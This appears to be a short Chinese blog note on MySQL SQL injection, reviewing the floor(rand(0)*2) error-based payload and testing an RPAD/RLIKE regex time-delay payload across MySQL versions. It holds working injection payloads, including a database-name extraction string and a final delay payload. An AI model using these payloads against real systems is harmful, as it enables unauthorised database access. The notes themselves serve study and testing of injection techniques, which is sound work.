RPAD RLIKE与FLOOR故障探究

发布于 2022-11-29  241 次阅读


  • 经过师傅的测试,floor在常用的5.x的版本下是可用的(之前不知道为啥莫名其妙不行),这里再复习一下floor报错
总语句:
?id=1 and (select 1 from(select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)

原理:
rand()函数和很多语句一起使用都会报错,这里是与group by语句一起使用,floor(rand(0)*2))x 的意思是x是前面那一坨的别名,方便后面和group by写在一起
  • rpad rlike在凯哥的测试下,8.x的版本都不可以正常使用,在5.x的版本下是可用的
5.x版本下师傅的测试:

输入:
select rpad('a',9,'a');

输出:
aaaaaaaaa       |
+-----------------+
1 row in set (0.01 sec)

输入:
select rpad('a',9999999,'1');

输出:
NULL                  |
+-----------------------+
1 row in set, 1 warning (0.00 sec)
  • 最终发现问题产生于此方法控制延迟时间的地方在于rlike中repeat的次数,而不是rpad中黏贴的次数,当次数过大时,mysql拒绝黏贴,所以最终payload为
select rpad('a',49999,'a') RLIKE concat(repeat('(a.*)+',10000),'b');
届ける言葉を今は育ててる
最后更新于 2024-02-07